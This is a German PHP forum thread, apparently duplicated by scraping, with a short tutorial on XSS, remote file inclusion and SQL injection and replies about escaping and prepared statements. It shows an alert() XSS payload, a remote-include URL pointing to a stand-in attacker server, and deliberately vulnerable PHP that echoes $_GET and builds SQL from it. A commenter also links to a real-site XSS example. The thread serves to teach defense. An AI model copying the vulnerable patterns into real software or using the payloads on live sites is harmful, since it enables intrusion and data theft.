PHP und XSS

supertramp · 24.07.2004, 17:49

Diese Tutorial wurde von Jason geschrieben.

------------------------------------------------
In diesem kleinem Artikel geht es über typische Fehler bei der Übertragung von
Formularen in PHP und zum anderen über Cross Site Scripting.

Was ist das überhaupt?

Cross Site Scripting (im späteren XSS genannt):
Beim XSS geht es darum, Benutzereingaben die von einer an den Server übergeben
werden zu manipulieren. Dies gelingt meist durch zu großes Vertrauen des
Webmasters an die User oder durch Fehler im Script. Ziel dieser Angriffe ist das
Ausführen von Programmcode, Ausspähen der Userdaten oder einfach nur zu
nerven...

Verschiedene Arten
- 1. Einfügen von fremden Programmcode
- 2. Ausführen von fremden Scripten
- 3. SQL Injektion

1. Einfügen von fremden Programmcode
Hier geht es darum, den eignen Code in die fremde Seite einzufügen. Meist werden
dafür die GET Variablen verändert. z.B.:

Code:

www.url.de/suche.php?wort=hallo

in

Code:

www.url.de/suche.php?wort=<script>alert(’Hallo’);</script>

würde auf in der suche.php jetzt

PHP-Code:

  echo "Es gab $number Sucherergenisse auf das Wort $_GET['wort']!";

würde beim Seitenaufruf das Javascript ausgeführt werden.

Dies ist aber nicht nur auf GET beschränkt sondern geht mit allen Variablen die
auch nur irgendwie mit dem Benutzer zusammenhängen (GET, POST, COOKIE,
SESSION, FILE...)
Auch ein häufiger Fehler ist das nicht Benutzen der superglobalen Arrays, im zu-
sammenhang mit register_globals wo leicht Sicherheitslücken entstehen.

Wie verhindere ich dies nun?
In PHP gibt es dafür extra Funktionen die z.b. alle HTML Tags umwandeln in die
Sonderzeichen
z.B.:
htmlspechialchars(string)
http://de.php.net/manual/de/function...ecialchars.php

Natürlich kann man auch eigene Funktionen verwenden oder PEAR bietet hier ein
Packet namens Validate an.

2. Ausführen von fremden Scripten
Hier geht es darum, durch Fehler im eigene Scripte einzuschleusen. Meist sind
diese Seiten davon betroffen welche ihren Content direkt includen:

Code:

www.url.de/index.php?seite=main.php

dies kann in

Code:

www.url.de/index.php?seite=http://meinserver/boese.php

verändert werden wenn die Variable ungeprüft included wird.
Über diese Datei könnte jetzt ein Angriff gestartet werden.

Wie verhindere ich dies nun?
Also eigentlich kann man das schon per Einstellung am Server größten Teils ver-
hindern (safe_mode, ...)
Außerdem sollte man NIEMALS eine Variable direkt includen, also immer:

PHP-Code:

  if($var == "bla")

    include("bla.php");

3. SQL Injection
Dadurch die Werte welche von Formularen kommen oder per GET übertragen wurden
häufig in Datenbank Abfragen vorkommen, lassen sich häufig diese Werte als
SQL Anweisung missbrauchen.
Beispiel:

Code:

www.url.de/members.php?nick=Jason

wenn diese Url eine Seite aufrufen würde in der eine Abfrage in dem Stiel
vorkommen würde:

Code:

SELECT * FROM members WHERE nick='$_GET['nick']'

würde sich das leicht manipulieren lassen (ich denke nicht dass es passend ist
dies hier zu erklären...)

Verhindern kann man das am leichtesten durch die Benutzung einer Funktion wie
http://de2.php.net/manual/de/functio...ape-string.php
welche den Übergebenen Wert maskiert und die ' und sonstigen escaped.

Anmerkung:
Ja es gibt auch magic_quotes_gpc....

mfg
Jason

07.06.2005, 22:12

Interessanter Artikel!
Besonders das erste Beispiel mit dem JS.
Habe auch mal ein gutes Beispiel gefunden:

http://teamkillaz.de/Freeaak/home.ph.../www.amazon.de

20.06.2005, 14:03

Hinweis zu dem letzten Punkt:
http://de2.php.net/manual/de/functio...ape-string.php

Anmerkung: Diese Funktion ist seit PHP 4.3.0 veraltet. Benutzen Sie diese Funktion nicht und verwenden Sie stattdessen mysql_real_escape_string().

12.07.2005, 12:13

Auch das Escapen bringt keine 100%ige Sicherheit.
Am besten mit Perpared Statements arbeiten!

PHP-Code:

  <?php

$sql_obj = mysqli_connect($host, $user, $password, $database) or die(mysqli_connect_error());

 
//Vorbereiten:

$statement=$sql_obj->prepare("INSERT INTO kleine_anekdoten VALUES(NULL, ?, ?)");

 
//Parametertypen einbinden

/*

i = integer

d = double

s = string

b = BLOB 

*/

$statement->bind_param("ss", $title, $content);

 
 
$title = "Story 1";

$content = "Eines schönen Tages";

$statement->execute();

 
$title = "Story 2";

$content = "Es war einmal ein kleiner grüner Esel.. ";

$statement->execute();

 
$title = "Story 3";

$content = "Ein kleiner Eisbär namens ...";

$statement->execute();

?>

Leider erst ab php 5.

Andere Geschichte in Sachen Sicherheit ist das mit DOS-Attaken.
Hier helfen sogenannte Captures, wo der User irgendwelche Buchstaben oder Zahlen von einem Bild aptippen muss. Eine Maschiene ist bis jetzt noch nicht in der Lage (Wenn man es nicht gerade unverzerrt lässt, dann vllt. über irgendwelche OCR Programme) diese Strings zu erkennen.

Sclot · 12.07.2005, 14:09

ihr macht mir angst!

12.07.2005, 18:43

Zitat:

Zitat von Du-weisst-schon-wer

Auch das Escapen bringt keine 100%ige Sicherheit.
Am besten mit Perpared Statements arbeiten!

PHP-Code:

  <?php

//(...)

$title = "Story 1";

$content = "Eines schönen Tages";

$statement->execute();

 
//(...)

 
?>

Leider erst ab php 5.

Ähm, und wenn man da jetzt POST-Daten einfügen will? Braucht man sie dann nicht "escapen" ?

Greetz!

12.07.2005, 19:17

Genau das, keine Zeichen müssen mehr maskieren werden. Das ist der eine "Trick" an prepared statements. (Der andere -wenn die Datenbank selbst das unterstützt- ist, dass der parser et al nur einmal über das statement gejagt werden muss)
Der Datenbank muss angezeigt werden, was Nutzdaten sind und was Anweisungen o.ä.

Um zu verhindern, dass in einer "herkömmlichen" sql-Anfrage innerhalb der Nutzdaten Steuerzeichen enthalten sind, die die Nutzdaten von den Anweisungen trennen, werden diese Zeichen maskiert.
Aber wenn Nutzdaten und Anweisungen -wie im Falle von prepared statements- getrennt übertragen werden, gibt es dafür keinen Bedarf mehr.

LinkBacks (?) LinkBack to this Thread: http://www.php.de/beitragsarchiv/5621-php-und-xss.html
Erstellt von	For	Type	Datum
TYPO3.net - wt_doorman: Vorstellung der Sicherheitsklasse	This thread	Refback	18.11.2008 14:45
TYPO3.net - wt_doorman: Vorstellung der Sicherheitsklasse	This thread	Refback	04.11.2008 10:35
TYPO3.net - wt_doorman: Vorstellung der Sicherheitsklasse	This thread	Refback	22.10.2008 16:11
TYPO3.net - wt_doorman: Vorstellung der Sicherheitsklasse	This thread	Refback	14.10.2008 13:07
TYPO3.net - wt_doorman: Vorstellung der Sicherheitsklasse	This thread	Refback	24.09.2008 15:16
TYPO3.net - wt_doorman: Vorstellung der Sicherheitsklasse	This thread	Refback	23.09.2008 07:53
Gelöst - Vorstellung wt_doorman: Sicherheitsklasse für Extensions - TYPO3 Forum & Portal	This thread	Pingback	22.09.2008 22:07

24.07.2004, 17:49
supertramp Erfahrener Benutzer Registriert seit: 01.12.2003 Beiträge: 4.113	PHP und XSS Diese Tutorial wurde von Jason geschrieben. ------------------------------------------------ In diesem kleinem Artikel geht es über typische Fehler bei der Übertragung von Formularen in PHP und zum anderen über Cross Site Scripting. Was ist das überhaupt? Cross Site Scripting (im späteren XSS genannt): Beim XSS geht es darum, Benutzereingaben die von einer an den Server übergeben werden zu manipulieren. Dies gelingt meist durch zu großes Vertrauen des Webmasters an die User oder durch Fehler im Script. Ziel dieser Angriffe ist das Ausführen von Programmcode, Ausspähen der Userdaten oder einfach nur zu nerven... Verschiedene Arten - 1. Einfügen von fremden Programmcode - 2. Ausführen von fremden Scripten - 3. SQL Injektion 1. Einfügen von fremden Programmcode Hier geht es darum, den eignen Code in die fremde Seite einzufügen. Meist werden dafür die GET Variablen verändert. z.B.: Code: www.url.de/suche.php?wort=hallo in Code: www.url.de/suche.php?wort=<script>alert(’Hallo’);</script> würde auf in der suche.php jetzt PHP-Code: `echo "Es gab $number Sucherergenisse auf das Wort $_GET['wort']!";` würde beim Seitenaufruf das Javascript ausgeführt werden. Dies ist aber nicht nur auf GET beschränkt sondern geht mit allen Variablen die auch nur irgendwie mit dem Benutzer zusammenhängen (GET, POST, COOKIE, SESSION, FILE...) Auch ein häufiger Fehler ist das nicht Benutzen der superglobalen Arrays, im zu- sammenhang mit register_globals wo leicht Sicherheitslücken entstehen. Wie verhindere ich dies nun? In PHP gibt es dafür extra Funktionen die z.b. alle HTML Tags umwandeln in die Sonderzeichen z.B.: htmlspechialchars(string) http://de.php.net/manual/de/function...ecialchars.php Natürlich kann man auch eigene Funktionen verwenden oder PEAR bietet hier ein Packet namens Validate an. 2. Ausführen von fremden Scripten Hier geht es darum, durch Fehler im eigene Scripte einzuschleusen. Meist sind diese Seiten davon betroffen welche ihren Content direkt includen: Code: www.url.de/index.php?seite=main.php dies kann in Code: www.url.de/index.php?seite=http://meinserver/boese.php verändert werden wenn die Variable ungeprüft included wird. Über diese Datei könnte jetzt ein Angriff gestartet werden. Wie verhindere ich dies nun? Also eigentlich kann man das schon per Einstellung am Server größten Teils ver- hindern (safe_mode, ...) Außerdem sollte man NIEMALS eine Variable direkt includen, also immer: PHP-Code: `if($var == "bla") include("bla.php");` 3. SQL Injection Dadurch die Werte welche von Formularen kommen oder per GET übertragen wurden häufig in Datenbank Abfragen vorkommen, lassen sich häufig diese Werte als SQL Anweisung missbrauchen. Beispiel: Code: www.url.de/members.php?nick=Jason wenn diese Url eine Seite aufrufen würde in der eine Abfrage in dem Stiel vorkommen würde: Code: SELECT * FROM members WHERE nick='$_GET['nick']' würde sich das leicht manipulieren lassen (ich denke nicht dass es passend ist dies hier zu erklären...) Verhindern kann man das am leichtesten durch die Benutzung einer Funktion wie http://de2.php.net/manual/de/functio...ape-string.php welche den Übergebenen Wert maskiert und die ' und sonstigen escaped. Anmerkung: Ja es gibt auch magic_quotes_gpc.... mfg Jason


Mister Ad PHP Code Flüsterer Registriert seit: 21.08.2005 Beiträge: 4682 PHP-Kenntnisse: Fortgeschritten

07.06.2005, 22:12
Matthias959 Gast Beiträge: n/a	Interessanter Artikel! Besonders das erste Beispiel mit dem JS. Habe auch mal ein gutes Beispiel gefunden: http://teamkillaz.de/Freeaak/home.ph.../www.amazon.de

20.06.2005, 14:03
Gast Beiträge: n/a	Hinweis zu dem letzten Punkt: http://de2.php.net/manual/de/functio...ape-string.php Anmerkung: Diese Funktion ist seit PHP 4.3.0 veraltet. Benutzen Sie diese Funktion nicht und verwenden Sie stattdessen mysql_real_escape_string().

12.07.2005, 12:13
Gast Beiträge: n/a	Auch das Escapen bringt keine 100%ige Sicherheit. Am besten mit Perpared Statements arbeiten! PHP-Code: <?php $sql_obj = mysqli_connect($host, $user, $password, $database) or die(mysqli_connect_error()); //Vorbereiten: $statement=$sql_obj->prepare("INSERT INTO kleine_anekdoten VALUES(NULL, ?, ?)"); //Parametertypen einbinden /* i = integer d = double s = string b = BLOB */ $statement->bind_param("ss", $title, $content); $title = "Story 1"; $content = "Eines schönen Tages"; $statement->execute(); $title = "Story 2"; $content = "Es war einmal ein kleiner grüner Esel.. "; $statement->execute(); $title = "Story 3"; $content = "Ein kleiner Eisbär namens ..."; $statement->execute(); ?> Leider erst ab php 5. Andere Geschichte in Sachen Sicherheit ist das mit DOS-Attaken. Hier helfen sogenannte Captures, wo der User irgendwelche Buchstaben oder Zahlen von einem Bild aptippen muss. Eine Maschiene ist bis jetzt noch nicht in der Lage (Wenn man es nicht gerade unverzerrt lässt, dann vllt. über irgendwelche OCR Programme) diese Strings zu erkennen.

12.07.2005, 14:09
Sclot Erfahrener Benutzer Registriert seit: 21.05.2008 Beiträge: 2.039	ihr macht mir angst!

12.07.2005, 19:17
Gast Beiträge: n/a	Genau das, keine Zeichen müssen mehr maskieren werden. Das ist der eine "Trick" an prepared statements. (Der andere -wenn die Datenbank selbst das unterstützt- ist, dass der parser et al nur einmal über das statement gejagt werden muss) Der Datenbank muss angezeigt werden, was Nutzdaten sind und was Anweisungen o.ä. Um zu verhindern, dass in einer "herkömmlichen" sql-Anfrage innerhalb der Nutzdaten Steuerzeichen enthalten sind, die die Nutzdaten von den Anweisungen trennen, werden diese Zeichen maskiert. Aber wenn Nutzdaten und Anweisungen -wie im Falle von prepared statements- getrennt übertragen werden, gibt es dafür keinen Bedarf mehr.

Themen-Optionen
Druckbare Version zeigen Jemanden per E-Mail auf dieses Thema hinweisen